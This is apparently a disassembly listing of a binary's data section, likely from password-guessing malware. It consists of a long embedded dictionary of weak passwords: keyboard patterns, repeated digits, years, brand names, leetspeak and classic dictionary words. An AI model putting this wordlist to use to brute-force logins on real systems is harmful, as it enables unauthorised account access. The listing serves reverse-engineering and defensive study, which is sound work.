; DATA XREF: seg002:00425350o aDd_0 db 'dd',0 ; DATA XREF: seg002:0042534Co align 4 aD: ; DATA XREF: seg002:00425348o unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 ; DATA XREF: seg002:00425344o align 4 aCccccccc db 'cccccccc',0 ; DATA XREF: seg002:00425340o align 10h aCcccccc db 'ccccccc',0 ; DATA XREF: seg002:0042533Co aCccccc db 'cccccc',0 ; DATA XREF: seg002:00425338o align 10h aCcccc db 'ccccc',0 ; DATA XREF: seg002:00425334o align 4 aCccc_0 db 'cccc',0 ; DATA XREF: seg002:00425330o align 10h aCcc db 'ccc',0 ; DATA XREF: seg002:0042532Co aCc db 'cc',0 ; DATA XREF: seg002:00425328o align 4 aC: ; DATA XREF: seg002:00425324o unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: seg002:00425320o align 4 aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg002:0042531Co align 4 aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg002:00425318o aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg002:00425314o align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: seg002:00425310o align 4 aBbbb db 'bbbb',0 ; DATA XREF: seg002:0042530Co align 4 aBbb db 'bbb',0 ; DATA XREF: seg002:00425308o aBb db 'bb',0 ; DATA XREF: seg002:00425304o align 4 aB: ; DATA XREF: seg002:00425300o unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: seg002:004252FCo aEdc db 'edc',0 ; DATA XREF: seg002:004252F8o aWsx db 'wsx',0 ; DATA XREF: seg002:004252F4o aQaz db 'qaz',0 ; DATA XREF: seg002:004252F0o aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: seg002:004252ECo align 4 aAsdfghjk db 'asdfghjk',0 ; DATA XREF: seg002:004252E8o align 4 aAsdfghj db 'asdfghj',0 ; DATA XREF: seg002:004252E4o aAsdfgh db 'asdfgh',0 ; DATA XREF: seg002:004252E0o align 4 aAsdfg db 'asdfg',0 ; DATA XREF: seg002:004252DCo align 10h aAs db 'as',0 ; DATA XREF: seg002:004252D0o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg002:004252CCo aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg002:004252C8o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: seg002:004252C4o align 4 aZxc db 'zxc',0 ; DATA XREF: seg002:004252BCo aZx db 'zx',0 ; DATA XREF: seg002:004252B8o align 4 aZ: ; DATA XREF: seg002:004252B4o ; seg002:00425520o unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: seg002:004252B0o aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg002:00425278o align 4 aKor db 'KOR',0 ; DATA XREF: seg002:00425274o aKor_0 db 'kor',0 ; DATA XREF: seg002:0042526Co aChi db 'chi',0 ; DATA XREF: seg002:00425268o aChi_0 db 'CHI',0 ; DATA XREF: seg002:00425264o aSystem db 'system',0 ; DATA XREF: seg002:0042525Co ; seg002:004255A0o align 10h aServices db 'services',0 ; DATA XREF: seg002:00425258o align 4 aServers db 'servers',0 ; DATA XREF: seg002:00425254o aServer_0 db 'server',0 ; DATA XREF: seg002:0042524Co align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg002:00425244o align 4 aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg002:00425240o align 4 aQwertyui db 'qwertyui',0 ; DATA XREF: seg002:0042523Co align 10h aQwertyu db 'qwertyu',0 ; DATA XREF: seg002:00425238o aQwe db 'qwe',0 ; DATA XREF: seg002:00425228o aQw db 'qw',0 ; DATA XREF: seg002:00425224o align 10h aPassword1 db 'password1',0 ; DATA XREF: seg002:00425220o align 4 aPassword_0 db 'Password',0 ; DATA XREF: seg002:0042521Co align 4 aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg002:00425218o align 4 aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg002:00425214o align 10h aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg002:00425210o aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg002:0042520Co align 10h aAaaaa db 'aaaaa',0 ; DATA XREF: seg002:00425208o align 4 aAaaa db 'aaaa',0 ; DATA XREF: seg002:00425204o align 10h aAa db 'aa',0 ; DATA XREF: seg002:004251FCo align 4 aNokia db 'NOKIA',0 ; DATA XREF: seg002:004251F0o align 4 aSex db 'SEX',0 ; DATA XREF: seg002:004251ECo aCreative db 'CREATIVE',0 ; DATA XREF: seg002:004251E8o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: seg002:004251E4o align 4 aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg002:004251E0o align 10h aMaster_0 db 'MASTER',0 ; DATA XREF: seg002:004251DCo align 4 aSony_0 db 'SONY',0 ; DATA XREF: seg002:004251D8o align 10h aSamsung db 'samsung',0 ; DATA XREF: seg002:004251D4o aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg002:004251D0o aSony db 'sony',0 ; DATA XREF: seg002:004251CCo align 4 a7654321 db '7654321',0 ; DATA XREF: seg002:004251C8o a4321 db '4321',0 ; DATA XREF: seg002:004251BCo align 4 a321 db '321',0 ; DATA XREF: seg002:004251B8o a2006 db '2006',0 ; DATA XREF: seg002:004251B0o align 4 a2005 db '2005',0 ; DATA XREF: seg002:004251ACo align 4 a2004 db '2004',0 ; DATA XREF: seg002:004251A8o align 4 a2001 db '2001',0 ; DATA XREF: seg002:0042519Co align 4 a2000 db '2000',0 ; DATA XREF: seg002:00425198o align 4 a1999 db '1999',0 ; DATA XREF: seg002:00425194o align 4 a1998 db '1998',0 ; DATA XREF: seg002:00425190o align 4 a1997 db '1997',0 ; DATA XREF: seg002:0042518Co align 4 a1996 db '1996',0 ; DATA XREF: seg002:00425188o align 4 a1995 db '1995',0 ; DATA XREF: seg002:00425184o align 4 a1994 db '1994',0 ; DATA XREF: seg002:00425180o align 4 a1993 db '1993',0 ; DATA XREF: seg002:0042517Co align 4 a1992 db '1992',0 ; DATA XREF: seg002:00425178o align 4 a1991 db '1991',0 ; DATA XREF: seg002:00425174o align 4 a1990 db '1990',0 ; DATA XREF: seg002:00425170o align 4 a1989 db '1989',0 ; DATA XREF: seg002:0042516Co align 4 a1988 db '1988',0 ; DATA XREF: seg002:00425168o align 4 a1987 db '1987',0 ; DATA XREF: seg002:00425164o align 4 a1986 db '1986',0 ; DATA XREF: seg002:00425160o align 4 a1985 db '1985',0 ; DATA XREF: seg002:0042515Co align 4 a1984 db '1984',0 ; DATA XREF: seg002:00425158o align 4 a1983 db '1983',0 ; DATA XREF: seg002:00425154o align 4 a1982 db '1982',0 ; DATA XREF: seg002:00425150o align 4 a1981 db '1981',0 ; DATA XREF: seg002:0042514Co align 4 a1980 db '1980',0 ; DATA XREF: seg002:00425148o align 4 a1979 db '1979',0 ; DATA XREF: seg002:00425144o align 4 a1978 db '1978',0 ; DATA XREF: seg002:00425140o align 4 a1977 db '1977',0 ; DATA XREF: seg002:0042513Co align 4 a1976 db '1976',0 ; DATA XREF: seg002:00425138o align 4 a1975 db '1975',0 ; DATA XREF: seg002:00425134o align 4 a1974 db '1974',0 ; DATA XREF: seg002:00425130o align 4 a1973 db '1973',0 ; DATA XREF: seg002:0042512Co align 4 a1972 db '1972',0 ; DATA XREF: seg002:00425128o align 4 a1971 db '1971',0 ; DATA XREF: seg002:00425124o align 4 a1970 db '1970',0 ; DATA XREF: seg002:00425120o align 4 a1969 db '1969',0 ; DATA XREF: seg002:0042511Co align 4 a1968 db '1968',0 ; DATA XREF: seg002:00425118o align 4 a1967 db '1967',0 ; DATA XREF: seg002:00425114o align 4 a1966 db '1966',0 ; DATA XREF: seg002:00425110o align 4 a1965 db '1965',0 ; DATA XREF: seg002:0042510Co align 4 a1964 db '1964',0 ; DATA XREF: seg002:00425108o align 4 a1963 db '1963',0 ; DATA XREF: seg002:00425104o align 4 a1962 db '1962',0 ; DATA XREF: seg002:00425100o align 4 a1961 db '1961',0 ; DATA XREF: seg002:004250FCo align 4 a1960 db '1960',0 ; DATA XREF: seg002:004250F8o align 4 a1959 db '1959',0 ; DATA XREF: seg002:004250F4o align 4 a1958 db '1958',0 ; DATA XREF: seg002:004250F0o align 4 a1957 db '1957',0 ; DATA XREF: seg002:004250ECo align 4 a1956 db '1956',0 ; DATA XREF: seg002:004250E8o align 4 a1955 db '1955',0 ; DATA XREF: seg002:004250E4o align 4 a1954 db '1954',0 ; DATA XREF: seg002:004250E0o align 4 a1953 db '1953',0 ; DATA XREF: seg002:004250DCo align 4 a1952 db '1952',0 ; DATA XREF: seg002:004250D8o align 4 a1234qwe db '1234qwe',0 ; DATA XREF: seg002:004250D4o a1234asd db '1234asd',0 ; DATA XREF: seg002:004250D0o a1234abc db '1234abc',0 ; DATA XREF: seg002:004250CCo a123qwer db '123qwer',0 ; DATA XREF: seg002:004250B8o a12qwe db '12qwe',0 ; DATA XREF: seg002:004250B4o align 4 a12asd db '12asd',0 ; DATA XREF: seg002:004250B0o align 4 a12abc db '12abc',0 ; DATA XREF: seg002:004250ACo align 4 a12qwer db '12qwer',0 ; DATA XREF: seg002:004250A8o align 4 a1qwe db '1qwe',0 ; DATA XREF: seg002:004250A4o align 4 a1asd db '1asd',0 ; DATA XREF: seg002:004250A0o align 4 a1abc db '1abc',0 ; DATA XREF: seg002:0042509Co align 4 a1qwer db '1qwer',0 ; DATA XREF: seg002:00425098o align 4 a123467890 db '123467890',0 ; DATA XREF: seg002:00425094o align 10h a12346789 db '12346789',0 ; DATA XREF: seg002:00425090o align 4 a1234678 db '1234678',0 ; DATA XREF: seg002:0042508Co a123467 db '123467',0 ; DATA XREF: seg002:00425088o align 4 a12346 db '12346',0 ; DATA XREF: seg002:00425084o align 4 a121 db '121',0 ; DATA XREF: seg002:0042505Co a1020 db '1020',0 ; DATA XREF: seg002:00425054o align 10h a0258 db '0258',0 ; DATA XREF: seg002:00425050o align 4 a8520 db '8520',0 ; DATA XREF: seg002:0042504Co align 10h a987 db '987',0 ; DATA XREF: seg002:00425048o a789 db '789',0 ; DATA XREF: seg002:00425044o a654 db '654',0 ; DATA XREF: seg002:00425040o a456 db '456',0 ; DATA XREF: seg002:0042503Co a1122 db '1122',0 ; DATA XREF: seg002:00425038o align 4 a0147 db '0147',0 ; DATA XREF: seg002:00425034o align 10h a7410 db '7410',0 ; DATA XREF: seg002:00425030o align 4 a9999999999 db '9999999999',0 ; DATA XREF: seg002:00425028o align 4 a999999999 db '999999999',0 ; DATA XREF: seg002:00425024o align 10h a99999999 db '99999999',0 ; DATA XREF: seg002:00425020o align 4 a9999999 db '9999999',0 ; DATA XREF: seg002:0042501Co a999999 db '999999',0 ; DATA XREF: seg002:00425018o align 4 a99999 db '99999',0 ; DATA XREF: seg002:00425014o align 4 a9999 db '9999',0 ; DATA XREF: seg002:00425010o align 4 a999 db '999',0 ; DATA XREF: seg002:0042500Co a99 db '99',0 ; DATA XREF: seg002:00425008o align 4 a9: ; DATA XREF: seg002:00425004o unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: seg002:00425000o align 4 a888888888 db '888888888',0 ; DATA XREF: seg002:00424FFCo align 10h a8888888 db '8888888',0 ; DATA XREF: seg002:00424FF4o a888888 db '888888',0 ; DATA XREF: seg002:00424FF0o align 10h a88888 db '88888',0 ; DATA XREF: seg002:00424FECo align 4 a8888 db '8888',0 ; DATA XREF: seg002:00424FE8o align 10h a888 db '888',0 ; DATA XREF: seg002:00424FE4o a88 db '88',0 ; DATA XREF: seg002:00424FE0o align 4 a8: ; DATA XREF: seg002:00424FDCo unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: seg002:00424FD8o align 4 a777777777 db '777777777',0 ; DATA XREF: seg002:00424FD4o align 4 a77777777 db '77777777',0 ; DATA XREF: seg002:00424FD0o align 10h a7777777 db '7777777',0 ; DATA XREF: seg002:00424FCCo a777777 db '777777',0 ; DATA XREF: seg002:00424FC8o align 10h a77777 db '77777',0 ; DATA XREF: seg002:00424FC4o align 4 a7777 db '7777',0 ; DATA XREF: seg002:00424FC0o align 10h a777 db '777',0 ; DATA XREF: seg002:00424FBCo a77 db '77',0 ; DATA XREF: seg002:00424FB8o align 4 a7: ; DATA XREF: seg002:00424FB4o unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: seg002:00424FB0o align 4 a666666666 db '666666666',0 ; DATA XREF: seg002:00424FACo align 4 a66666666 db '66666666',0 ; DATA XREF: seg002:00424FA8o align 10h a6666666 db '6666666',0 ; DATA XREF: seg002:00424FA4o a666666 db '666666',0 ; DATA XREF: seg002:00424FA0o align 10h a66666 db '66666',0 ; DATA XREF: seg002:00424F9Co align 4 a6666 db '6666',0 ; DATA XREF: seg002:00424F98o align 10h a666 db '666',0 ; DATA XREF: seg002:00424F94o a66 db '66',0 ; DATA XREF: seg002:00424F90o align 4 a6: ; DATA XREF: seg002:00424F8Co unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: seg002:00424F88o align 4 a555555555 db '555555555',0 ; DATA XREF: seg002:00424F84o align 4 a55555555 db '55555555',0 ; DATA XREF: seg002:00424F80o align 10h a5555555 db '5555555',0 ; DATA XREF: seg002:00424F7Co a555555 db '555555',0 ; DATA XREF: seg002:00424F78o align 10h a55555 db '55555',0 ; DATA XREF: seg002:00424F74o align 4 a5555 db '5555',0 ; DATA XREF: seg002:00424F70o align 10h a555 db '555',0 ; DATA XREF: seg002:00424F6Co a55 db '55',0 ; DATA XREF: seg002:00424F68o align 4 a5: ; DATA XREF: seg002:00424F64o unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: seg002:00424F60o align 4 a444444444 db '444444444',0 ; DATA XREF: seg002:00424F5Co align 4 a44444444 db '44444444',0 ; DATA XREF: seg002:00424F58o align 10h a4444444 db '4444444',0 ; DATA XREF: seg002:00424F54o a444444 db '444444',0 ; DATA XREF: seg002:00424F50o align 10h a44444 db '44444',0 ; DATA XREF: seg002:00424F4Co align 4 a4444 db '4444',0 ; DATA XREF: seg002:00424F48o align 10h a444 db '444',0 ; DATA XREF: seg002:00424F44o a44 db '44',0 ; DATA XREF: seg002:00424F40o align 4 a4: ; DATA XREF: seg002:00424F3Co unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: seg002:00424F38o align 4 a333333333 db '333333333',0 ; DATA XREF: seg002:00424F34o align 4 a33333333 db '33333333',0 ; DATA XREF: seg002:00424F30o align 10h a3333333 db '3333333',0 ; DATA XREF: seg002:00424F2Co a333333 db '333333',0 ; DATA XREF: seg002:00424F28o align 10h a33333 db '33333',0 ; DATA XREF: seg002:00424F24o align 4 a3333 db '3333',0 ; DATA XREF: seg002:00424F20o align 10h a333 db '333',0 ; DATA XREF: seg002:00424F1Co a33 db '33',0 ; DATA XREF: seg002:00424F18o align 4 a3: ; DATA XREF: seg002:00424F14o unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: seg002:00424F10o align 4 a222222222 db '222222222',0 ; DATA XREF: seg002:00424F0Co align 4 a22222222 db '22222222',0 ; DATA XREF: seg002:00424F08o align 10h a2222222 db '2222222',0 ; DATA XREF: seg002:00424F04o a222222 db '222222',0 ; DATA XREF: seg002:00424F00o align 10h a22222 db '22222',0 ; DATA XREF: seg002:00424EFCo align 4 a2222 db '2222',0 ; DATA XREF: seg002:00424EF8o align 10h a222 db '222',0 ; DATA XREF: seg002:00424EF4o a22 db '22',0 ; DATA XREF: seg002:00424EF0o align 4 a2: ; DATA XREF: seg002:00424EECo unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: seg002:00424EE8o align 4 a111111111 db '111111111',0 ; DATA XREF: seg002:00424EE4o align 4 a1111111 db '1111111',0 ; DATA XREF: seg002:00424EDCo a11111 db '11111',0 ; DATA XREF: seg002:00424ED4o align 4 a1111 db '1111',0 ; DATA XREF: seg002:00424ED0o align 4 a11 db '11',0 ; DATA XREF: seg002:00424EC8o align 10h a010 db '010',0 ; DATA XREF: seg002:00424EB8o a009 db '009',0 ; DATA XREF: seg002:00424EB4o a008 db '008',0 ; DATA XREF: seg002:00424EB0o a006 db '006',0 ; DATA XREF: seg002:00424EA8o a005 db '005',0 ; DATA XREF: seg000:004095A5o ; seg002:00424EA4o a004 db '004',0 ; DATA XREF: seg002:00424EA0o a003 db '003',0 ; DATA XREF: seg002:00424E9Co a002 db '002',0 ; DATA XREF: seg002:00424E98o a001 db '001',0 ; DATA XREF: seg000:00409590o ; seg002:00424E94o asc_426144 db '*********',0 ; DATA XREF: seg002:00424E90o align 10h asc_426150 db '********',0 ; DATA XREF: seg002:00424E8Co align 4 asc_42615C db '*******',0 ; DATA XREF: seg002:00424E88o asc_426164 db '******',0 ; DATA XREF: seg002:00424E84o align 4 asc_42616C db '*****',0 ; DATA XREF: seg002:00424E80o align 4 asc_426174 db '****',0 ; DATA XREF: seg002:00424E7Co align 4 asc_42617C db '***',0 ; DATA XREF: seg002:00424E78o asc_426180 db '**',0 ; DATA XREF: seg002:00424E74o align 4 a0000000000 db '0000000000',0 ; DATA XREF: seg002:00424E6Co align 10h a000000000 db '000000000',0 ; DATA XREF: seg002:00424E68o align 4 a@ db '@!',0 ; DATA XREF: seg002:00424E48o align 10h a@_0 db '#@!',0 ; DATA XREF: seg002:00424E44o a@_1 db '$#@!',0 ; DATA XREF: seg002:00424E40o align 4 a@_2 db '%$#@!',0 ; DATA XREF: seg002:00424E3Co align 4 a@_3 db '^%$#@!',0 ; DATA XREF: seg002:00424E38o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: seg002:00424E34o a@_5 db '*&^%$#@!',0 ; DATA XREF: seg002:00424E30o align 10h asc_4261D0 db '$$$',0 ; DATA XREF: seg002:00424E2Co asc_4261D4 db '$$',0 ; DATA XREF: seg002:00424E28o align 4 asc_4261D8: ; DATA XREF: seg002:00424E24o unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: seg002:00424E20o align 4 a789_0 db '789+',0 ; DATA XREF: seg002:00424E1Co align 4 a0 db '=-0',0 ; DATA XREF: seg002:00424E18o asc_4261F0 db '--++',0 ; DATA XREF: seg002:00424E14o align 4 asc_4261F8 db '-+',0 ; DATA XREF: seg002:00424E10o align 4 asc_4261FC db '----',0 ; DATA XREF: seg002:00424E0Co align 4 asc_426204 db '--',0 ; DATA XREF: seg002:00424E04o ; seg002:00424E08o align 4 asc_426208: ; DATA XREF: seg002:00424E00o unicode 0, <->,0 asc_42620C db '++++',0 ; DATA XREF: seg002:00424DFCo align 4 asc_426214 db '+++',0 ; DATA XREF: seg002:00424DF8o asc_426218 db '++',0 ; DATA XREF: seg002:00424DF4o align 4 asc_42621C: ; DATA XREF: seg002:00424DF0o unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: seg002:00424DECo align 4 a@_6: ; DATA XREF: seg000:004095CAo ; seg002:00424DE8o unicode 0, <@>,0 off_426228 dd offset loc_402120+1 ; DATA XREF: seg002:00424DE4o dword_42622C dd 2121h dword_426230 dd 24234021h, 2A265E25h, 0dword_42623C dd 24234021h, 265E25hdword_426244 dd 24234021h, 5E25hdword_42624C dd 24234021h, 25hdword_426254 dd 234021h dword_426258 dd 4021h dword_42625C dd 21h ; seg000:0040E16Eo ... dword_426260 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: seg002:00424DB8o align 10h aZap db 'zap',0 ; DATA XREF: seg002:00424DB4o aYellowstone db 'yellowstone',0 ; DATA XREF: seg002:00424DB0o aXyz db 'xyz',0 ; DATA XREF: seg002:00424DACo ; seg002:004252A4o aWisconsin db 'wisconsin',0 ; DATA XREF: seg002:00424DA8o align 10h aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg002:00424DA4o align 10h aWholesale db 'wholesale',0 ; DATA XREF: seg002:00424DA0o align 4 aTty db 'tty',0 ; DATA XREF: seg002:00424D9Co aTopography db 'topography',0 ; DATA XREF: seg002:00424D98o align 4 aTemptation db 'temptation',0 ; DATA XREF: seg002:00424D94o align 4 aTelephone db 'telephone',0 ; DATA XREF: seg002:00424D90o align 4 aTangerine db 'tangerine',0 ; DATA XREF: seg002:00424D8Co align 10h aSys db 'sys',0 ; DATA XREF: seg002:00424D88o aSupported db 'supported',0 ; DATA XREF: seg002:00424D84o align 10h aSuperuser db 'superuser',0 ; DATA XREF: seg002:00424D80o align 4 aSuperstage db 'superstage',0 ; DATA XREF: seg002:00424D7Co align 4 aSun db 'sun',0 ; DATA XREF: seg002:00424D78o aStuttgart db 'stuttgart',0 ; DATA XREF: seg002:00424D74o align 4 aStratford db 'stratford',0 ; DATA XREF: seg002:00424D70o align 4 aStephanie db 'stephanie',0 ; DATA XREF: seg002:00424D6Co align 10h aSignature db 'signature',0 ; DATA XREF: seg002:00424D68o align 4 aSheffield db 'sheffield',0 ; DATA XREF: seg002:00424D64o align 4 aSal db 'sal',0 ; DATA XREF: seg002:00424D60o aRochester db 'rochester',0 ; DATA XREF: seg002:00424D5Co align 4 aRje db 'rje',0 ; DATA XREF: seg002:00424D58o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg002:00424D54o align 4 aPub db 'pub',0 ; DATA XREF: seg002:00424D50o aProfessor db 'professor',0 ; DATA XREF: seg002:00424D4Co align 4 aPrinceton db 'princeton',0 ; DATA XREF: seg002:00424D48o align 4 aPondering db 'pondering',0 ; DATA XREF: seg002:00424D44o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: seg002:00424D40o align 10h aPersimmon db 'persimmon',0 ; DATA XREF: seg002:00424D3Co align 4 aPercolate db 'percolate',0 ; DATA XREF: seg002:00424D38o align 4 aPam db 'pam',0 ; DATA XREF: seg002:00424D34o aPad db 'pad',0 ; DATA XREF: seg002:00424D30o aOceanography db 'oceanography',0 ; DATA XREF: seg002:00424D2Co align 10h aNutrition db 'nutrition',0 ; DATA XREF: seg002:00424D28o align 4 aNew db 'new',0 ; DATA XREF: seg002:00424D24o aNet db 'net',0 ; DATA XREF: seg002:00424D20o aMit db 'mit',0 ; DATA XREF: seg002:00424D1Co aMgr db 'mgr',0 ; DATA XREF: seg002:00424D18o aMacintosh db 'macintosh',0 ; DATA XREF: seg002:00424D14o align 4 aLiz db 'liz',0 ; DATA XREF: seg002:00424D10o aLee db 'lee',0 ; DATA XREF: seg002:00424D0Co aLamination db 'lamination',0 ; DATA XREF: seg002:00424D08o align 4 aKim db 'kim',0 ; DATA XREF: seg002:00424D04o aKey db 'key',0 ; DATA XREF: seg002:00424D00o aJoy db 'joy',0 ; DATA XREF: seg002:00424CFCo aJen db 'jen',0 ; DATA XREF: seg002:00424CF8o aInnocuous db 'innocuous',0 ; DATA XREF: seg002:00424CF4o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: seg002:00424CF0o align 4 aIbm db 'ibm',0 ; DATA XREF: seg002:00424CECo aHappening db 'happening',0 ; DATA XREF: seg002:00424CE8o align 4 aHal db 'hal',0 ; DATA XREF: seg002:00424CE4o aGnu db 'gnu',0 ; DATA XREF: seg002:00424CE0o aFun db 'fun',0 ; DATA XREF: seg002:00424CDCo aForesight db 'foresight',0 ; DATA XREF: seg002:00424CD8o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: seg002:00424CD4o align 4 aExtension db 'extension',0 ; DATA XREF: seg002:00424CD0o align 4 aEstablish db 'establish',0 ; DATA XREF: seg002:00424CCCo align 10h aEnterprise db 'enterprise',0 ; DATA XREF: seg002:00424CC8o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: seg002:00424CC4o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: seg002:00424CC0o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: seg002:00424CBCo align 10h aDos db 'dos',0 ; DATA XREF: seg002:00424CB8o aDog db 'dog',0 ; DATA XREF: seg002:00424CB4o aDiscovery db 'discovery',0 ; DATA XREF: seg002:00424CB0o align 4 aDesperate db 'desperate',0 ; DATA XREF: seg002:00424CACo align 10h aDeb db 'deb',0 ; DATA XREF: seg002:00424CA8o aCornelius db 'cornelius',0 ; DATA XREF: seg002:00424CA4o align 10h aCommrades db 'commrades',0 ; DATA XREF: seg002:00424CA0o align 4 aChristine db 'christine',0 ; DATA XREF: seg002:00424C9Co align 4 aChristina db 'christina',0 ; DATA XREF: seg002:00424C98o align 4 aChemistry db 'chemistry',0 ; DATA XREF: seg002:00424C94o align 10h aCatherine db 'catherine',0 ; DATA XREF: seg002:00424C90o align 4 aCat db 'cat',0 ; DATA XREF: seg002:00424C8Co aCampanile db 'campanile',0 ; DATA XREF: seg002:00424C88o align 4 aCad db 'cad',0 ; DATA XREF: seg002:00424C84o aBsd db 'bsd',0 ; DATA XREF: seg002:00424C80o aBob db 'bob',0 ; DATA XREF: seg002:00424C7Co aBicameral db 'bicameral',0 ; DATA XREF: seg002:00424C78o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: seg002:00424C74o align 10h aAtmosphere db 'atmosphere',0 ; DATA XREF: seg002:00424C70o align 4 aAsm db 'asm',0 ; DATA XREF: seg002:00424C6Co aAsd db 'asd',0 ; DATA XREF: seg002:00424C68o ; seg002:004252D4o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg002:00424C64o align 4 aAnn db 'ann',0 ; DATA XREF: seg002:00424C60o aAndromache db 'andromache',0 ; DATA XREF: seg002:00424C5Co align 4 aAmy db 'amy',0 ; DATA XREF: seg002:00424C58o aAmorphous db 'amorphous',0 ; DATA XREF: seg002:00424C54o align 4 aAma db 'ama',0 ; DATA XREF: seg002:00424C50o aAlf db 'alf',0 ; DATA XREF: seg002:00424C4Co aAlbatross db 'albatross',0 ; DATA XREF: seg002:00424C48o align 4 aAda db 'ada',0 ; DATA XREF: seg002:00424C44o aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg002:00424C40o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg002:00424C3Co align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg002:00424C38o align 4 aHaxing db 'haxing',0 ; DATA XREF: seg002:00424C34o align 4 aHax db 'hax',0 ; DATA XREF: seg002:00424C30o aWh0re db 'wh0re',0 ; DATA XREF: seg002:00424C2Co align 10h aHo db 'ho',0 ; DATA XREF: seg002:00424C28o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: seg002:00424C24o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: seg002:00424C20o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: seg002:00424C1Co align 4 aWindozeme db 'windozeME',0 ; DATA XREF: seg002:00424C18o align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: seg002:00424C14o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: seg002:00424C10o align 4 aWindows95 db 'windows95',0 ; DATA XREF: seg002:00424C0Co align 4 aWindows98 db 'windows98',0 ; DATA XREF: seg002:00424C08o align 10h aWindowsme db 'windowsME',0 ; DATA XREF: seg002:00424C04o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: seg002:00424C00o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg002:00424BFCo align 4 aMs db 'MS',0 ; DATA XREF: seg002:00424BF8o align 4 aM_0 db 'M$',0 ; DATA XREF: seg002:00424BF4o align 4 aBilly db 'billy',0 ; DATA XREF: seg002:00424BF0o align 4 aWindose db 'windose',0 ; DATA XREF: seg002:00424BECo aWindoze db 'windoze',0 ; DATA XREF: seg002:00424BE8o aWindowz db 'windowz',0 ; DATA XREF: seg002:00424BE4o aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg002:00424BE0o aDonaldduck db 'donaldduck',0 ; DATA XREF: seg002:00424BDCo align 4 aAlexander db 'Alexander',0 ; DATA XREF: seg002:00424BD8o align 10h aAl3x db 'Al3x',0 ; DATA XREF: seg002:00424BD4o align 4 aDud3 db 'dud3',0 ; DATA XREF: seg002:00424BD0o align 10h aDudette db 'dudette',0 ; DATA XREF: seg002:00424BCCo aD00d db 'd00d',0 ; DATA XREF: seg002:00424BC8o align 10h aLol db 'lol',0 ; DATA XREF: seg002:00424BC4o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg002:00424BC0o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: seg002:00424BBCo align 4 aRosco db 'Rosco',0 ; DATA XREF: seg002:00424BB8o align 4 aRoss db 'Ross',0 ; DATA XREF: seg002:00424BB4o align 4 aTestin db 'testin',0 ; DATA XREF: seg002:00424BB0o align 4 aTester db 'tester',0 ; DATA XREF: seg002:00424BACo align 4 a00000000 db '00000000',0 ; DATA XREF: seg002:00424BA8o ; seg002:00424E64o align 4 aZulu db 'zulu',0 ; DATA XREF: seg002:00424BA4o align 10h aZombie db 'zombie',0 ; DATA XREF: seg002:00424BA0o align 4 aZmodem db 'zmodem',0 ; DATA XREF: seg002:00424B9Co align 10h aZimmerma db 'zimmerma',0 ; DATA XREF: seg002:00424B98o align 4 aZiggy db 'ziggy',0 ; DATA XREF: seg002:00424B94o align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg002:00424B90o align 10h aZebra db 'zebra',0 ; DATA XREF: seg002:00424B8Co align 4 aYoung db 'young',0 ; DATA XREF: seg002:00424B88o align 10h aYosemite db 'yosemite',0 ; DATA XREF: seg002:00424B84o align 4 aYolanda db 'yolanda',0 ; DATA XREF: seg002:00424B80o aYellowst db 'yellowst',0 ; DATA XREF: seg002:00424B7Co align 10h aYellow db 'yellow',0 ; DATA XREF: seg002:00424B78o align 4 aYankee db 'yankee',0 ; DATA XREF: seg002:00424B74o align 10h aYang db 'yang',0 ; DATA XREF: seg002:00424B70o ; 